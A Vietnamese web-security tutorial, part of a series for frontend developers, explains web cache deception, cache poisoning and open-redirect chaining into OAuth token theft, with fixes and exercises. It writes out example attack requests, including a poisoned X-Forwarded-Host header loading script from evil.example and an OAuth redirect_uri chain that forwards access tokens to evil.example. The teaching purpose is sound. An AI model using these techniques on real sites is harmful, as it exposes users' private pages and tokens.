Web Security for Frontend Devs · Part 16 — Web Cache Deception & Open-Redirect Chaining
Advanced-track finale: how path-confusion caching serves a private response to an attacker, how unkeyed input poisons a shared cache, and how open redirects chain into OAuth token theft and CSP bypass. With a simulator and exercises.
Phần 16 — Nhánh nâng cao (bài chốt) trong series Web Security for Frontend Devs. Trước: Tiếp: (nhánh bonus).
Nhánh nâng cao khép lại với hai lỗi nằm ở hạ tầng giữa code và người dùng — cache — và một primitive bạn gặp ở Phần 10 — open redirect — giờ dùng làm công cụ chuỗi. Cả hai không phải “code frontend” theo nghĩa hẹp, nhưng đều bị định hình bởi cách frontend dựng URL và đặt header cache.
Web Cache Deception (WCD)
CDN và reverse proxy cache asset tĩnh cho nhanh. Cache quyết định “tĩnh” bằng quy tắc thô — thường là đuôi file của URL — còn origin quyết định trả gì bằng logic định tuyến khác. Web cache deception sống trong sự bất đồng đó.
Tấn công kinh điển:
1. Victim is logged in. Attacker sends them a link:
https://site.com/account/settings/notreal.css
2. The ORIGIN ignores the extra "/notreal.css" segment (loose routing)
and returns the victim's PRIVATE /account/settings page (200, with their data).
3. The CDN sees ".css" → "static, cacheable" → stores the private response
under the key /account/settings/notreal.css.
4. Attacker requests the SAME url → CDN serves the cached copy =
the victim's private page, including PII / CSRF tokens.
Không XSS, không trộm cookie — kẻ tấn công chỉ đọc phản hồi của nạn nhân từ cache dùng chung. Nguyên nhân gốc là nhầm path và cache theo đuôi thay vì theo Cache-Control.
Cách sửa:
- Cache theo
Cache-Control/Content-Typecủa origin, không theo đuôi URL; không cache phản hồi route đã xác thực. - Đặt
Cache-Control: no-store(hoặcprivate) trên mọi phản hồi đã xác thực/cá nhân hóa. - Bắt origin từ chối đuôi path bất ngờ (định tuyến chặt → 404, không 200).
- Đồng bộ cách parse URL của cache và origin.
Web Cache Poisoning (ảnh phản chiếu)
WCD làm rò phản hồi của một user ra; cache poisoning đưa nội dung kẻ tấn công vào cache cho mọi người. Xảy ra khi phản hồi biến đổi theo input không-keyed — thứ cache bỏ qua khi tạo key nhưng origin vẫn phản chiếu:
GET /home HTTP/1.1
X-Forwarded-Host: evil.example ← unkeyed; reflected into an absolute URL
→ response body builds <script src="https://evil.example/app.js">
→ cached under key "/home" and served to every visitor
Cách sửa: Đừng phản chiếu header không tin cậy vào phản hồi; đưa input ảnh hưởng output vào cache key (hoặc Vary); và rà CDN key theo gì.
Chuỗi open redirect
Phần 10 sửa open redirect bằng allowlist path. Đây là vì sao chúng quan trọng đến vậy: open redirect hiếm khi là lỗi cuối — nó là mắt xích trong chuỗi.
Chuỗi 1 — trộm token / code OAuth. Nếu authorization server cho redirect_uri tới trang có open redirect, flow đẩy code/token (thường trong fragment) sang kẻ tấn công:
https://auth.example.com/authorize
?client_id=app&response_type=token
&redirect_uri=https://app.example.com/cb?next=https://evil.example
→ app.example.com/cb receives the token, then its open `next=` redirect
forwards location (with #access_token=…) to evil.example
Chuỗi 2 — vượt bộ lọc same-origin / referrer. Tính năng “chỉ cho link tới domain mình” bị vượt nếu domain bạn có open redirect.
Chuỗi 3 — vượt allowlist CSP. Như Phần 13, open redirect trên host script allowlist cho phép nạp script từ nơi khác mà vẫn thỏa CSP.
Cách sửa: allowlist Phần 10 vẫn áp dụng — chỉ cho path tương đối, đã biết; OAuth phải dùng redirect URI đăng ký sẵn chính xác và ưu tiên Authorization Code + PKCE (Phần 5).
Thử ngay — trình mô phỏng Web Cache Deception
Gửi một request, rồi bật/tắt cách origin định tuyến URL và cách CDN quyết định cache — xem phản hồi riêng tư của nạn nhân có bị lưu và phát lại cho kẻ tấn công không.
Mở demo đầy đủ:
Checklist phòng tránh
- Phản hồi đã xác thực:
Cache-Control: no-store. - Cache theo header của origin, không theo đuôi URL.
- Định tuyến chặt — đuôi lạ trả 404.
- Không phản chiếu header không-keyed/không tin cậy; key/
Varytheo input ảnh hưởng output. - Open redirect: allowlist path tương đối; OAuth dùng redirect URI đăng ký sẵn + PKCE.
- Rà host allowlist tìm redirect biến chúng thành bypass (Phần 13).
Bài tập / Exercises
1. Vì sao URL trên đôi khi trả profile nạn nhân và bị cache? Nêu hai nguyên nhân gốc.
Lời giải
Nhầm path: origin định tuyến lỏng, trả /account/profile, bỏ qua /x.js. Cache theo đuôi: CDN thấy .js và cache bất kể Cache-Control. Sửa cả hai.
2. Client OAuth đăng ký redirect_uri. Callback nhận ?next= không allowlist. Mô tả chuỗi trộm token và hai cách sửa.
Lời giải
Kẻ tấn công bắt đầu flow với next=https://evil.com; server trả về host đã đăng ký, rồi next= mở chuyển URL (kèm token trong fragment) sang evil.com. Sửa: (1) allowlist next (Phần 10); (2) Authorization Code + PKCE (Phần 5).
3. CDN cache theo đuôi. Nêu một header phản hồi ngăn WCD trực tiếp nhất trên /account/*, và một thay đổi phía origin cũng giúp.
Lời giải
Header: Cache-Control: no-store trên mọi /account/*, và cấu hình CDN tôn trọng nó. Phía origin: định tuyến chặt để URL lạ trả 404.
Nâng cao:Trong simulator, tìm tổ hợp làm rò trang riêng tư, rồi đổi đúng một thiết lập để an toàn — ghi lại control nào là biện pháp mạnh nhất.
Điểm chính
- WCD = nhầm path + cache theo đuôi → cache dùng chung lưu và phát lại phản hồi riêng tư.
- Cache poisoning = input không-keyed phản chiếu → nội dung kẻ tấn công cho mọi người.
- Cách chữa:
no-store, cache theo header origin, định tuyến chặt, không phản chiếu header lạ. - Open redirect chuỗi thành trộm token OAuth, vượt lọc, vượt CSP — sửa bằng allowlist tương đối + redirect URI đăng ký sẵn + PKCE.
Nhánh nâng cao
Hoàn tất nhánh nâng cao (Phần 11–16) trên nền mười phần lõi:
- nhiễm mặc định object dùng chung.
- ghi đè global không-script qua
id/name. - vì sao allowlist hỏng.
- kiểm origin đúng cách.
- nhầm
algvà vì sao trình duyệt không quyết định authz. - Web Cache Deception & Open-Redirect Chaining (you are here).
Cộng thêm một nhánh bonus lùi về sớm hơn một lớp — chính bước build:
- vì sao cài dependency là thực thi code, và cách phòng thủ.
- link bạn mở có thể vẽ lại tab bạn thành trang phishing.
- pastejacking, ClickFix, và thu hoạch autofill ẩn.
Sợi chỉ nối cả sáu là bài học biên từ Phần 10: đừng tin thứ gì client kiểm soát — mặc định, tên, message, token, URL, hay cache key — cho đến khi được verify trên bề mặt bạn thực sự sở hữu.